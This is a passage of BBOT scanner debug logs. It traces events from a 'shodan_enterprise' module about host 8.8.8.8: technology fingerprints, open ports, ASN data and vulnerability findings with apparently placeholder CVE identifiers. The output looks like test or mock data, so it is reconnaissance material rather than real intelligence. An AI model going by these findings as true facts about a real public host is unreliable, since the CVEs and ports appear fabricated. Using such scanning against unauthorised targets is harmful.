'dns'}) passed post-check -2026-03-02 09:05:20,340 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,341 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) in-scope because its main host matches the scan target -2026-03-02 09:05:20,341 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,342 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:05:20,342 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,342 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:05:20,343 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,343 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) in-scope because its main host matches the scan target -2026-03-02 09:05:20,344 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,344 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:05:20,344 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:05:20,345 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,345 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:05:20,345 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,346 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:05:20,346 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,346 [DEBUG] bbot.modules._scan_ingress base.py:1563 Not forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) because event was already emitted by its module -2026-03-02 09:05:20,347 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:05:20,347 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,347 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,347 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) in-scope because its main host matches the scan target -2026-03-02 09:05:20,348 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,348 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) because precheck succeeded -2026-03-02 09:05:20,348 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:05:20,348 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,349 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,349 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:05:20,349 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,350 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:05:20,350 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,350 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) in-scope because its main host matches the scan target -2026-03-02 09:05:20,350 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,351 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) because precheck succeeded -2026-03-02 09:05:20,351 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,351 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) passed post-check -2026-03-02 09:05:20,352 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) -2026-03-02 09:05:20,352 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,352 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:05:20,352 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,353 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) in-scope because its main host matches the scan target -2026-03-02 09:05:20,353 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:05:20,353 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,353 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) -2026-03-02 09:05:20,354 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) passed post-check -2026-03-02 09:05:20,354 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) -2026-03-02 09:05:20,354 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,355 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) passed post-check -2026-03-02 09:05:20,355 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) -2026-03-02 09:05:20,355 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:05:20,356 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,356 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) because precheck succeeded -2026-03-02 09:05:20,356 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check -2026-03-02 09:05:20,356 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,357 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) -2026-03-02 09:05:20,357 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check -2026-03-02 09:05:20,357 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) -2026-03-02 09:05:20,357 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) -2026-03-02 09:05:20,358 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) passed post-check -2026-03-02 09:05:20,358 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) -2026-03-02 09:05:20,358 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:05:20,358 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) -2026-03-02 09:05:20,359 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) because precheck succeeded -2026-03-02 09:05:20,359 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) passed post-check -2026-03-02 09:05:20,359 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) -2026-03-02 09:05:20,360 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) -2026-03-02 09:05:20,360 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:05:20,360 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:05:20,360 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) -2026-03-02 09:05:20,361 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check -2026-03-02 09:05:20,361 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) -2026-03-02 09:05:20,361 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) in-scope because its main host matches the scan target -2026-03-02 09:05:20,361 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) -2026-03-02 09:05:20,362 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) because precheck succeeded -2026-03-02 09:05:20,362 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) passed post-check -2026-03-02 09:05:20,362 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) -2026-03-02 09:05:20,362 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:05:20,363 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check -2026-03-02 09:05:20,363 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:05:20,363 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) -2026-03-02 09:05:20,363 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:05:20,363 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:05:20,364 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:05:20,364 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) -2026-03-02 09:05:20,364 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) because precheck succeeded -2026-03-02 09:05:20,365 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check -2026-03-02 09:05:20,365 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) -2026-03-02 09:05:20,365 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:05:20,366 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check -2026-03-02 09:05:20,366 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:05:20,366 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:05:20,366 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check -2026-03-02 09:05:20,366 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:05:20,367 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:05:20,367 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) -2026-03-02 09:05:20,367 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) because precheck succeeded -2026-03-02 09:05:20,368 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:05:20,368 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:05:20,368 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:05:20,368 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) passed post-check -2026-03-02 09:05:20,369 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) -2026-03-02 09:05:20,369 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:05:20,369 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check -2026-03-02 09:05:20,370 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:05:20,370 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) -2026-03-02 09:05:20,370 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) because precheck succeeded -2026-03-02 09:05:20,370 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check -2026-03-02 09:05:20,371 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:05:20,371 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) -2026-03-02 09:05:20,371 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:05:20,371 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-02 09:05:20,372 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) -2026-03-02 09:05:20,372 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:05:20,372 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) because precheck succeeded -2026-03-02 09:05:20,372 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check -2026-03-02 09:05:20,372 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:05:20,373 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:05:20,373 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) because precheck succeeded -2026-03-02 09:05:20,374 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) passed post-check -2026-03-02 09:05:20,374 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) -2026-03-02 09:05:20,374 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) -2026-03-02 09:05:20,374 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'cloud', 'verified', 'public-dns'}) because precheck succeeded -2026-03-02 09:05:20,434 [DEBUG] bbot.modules.output.python 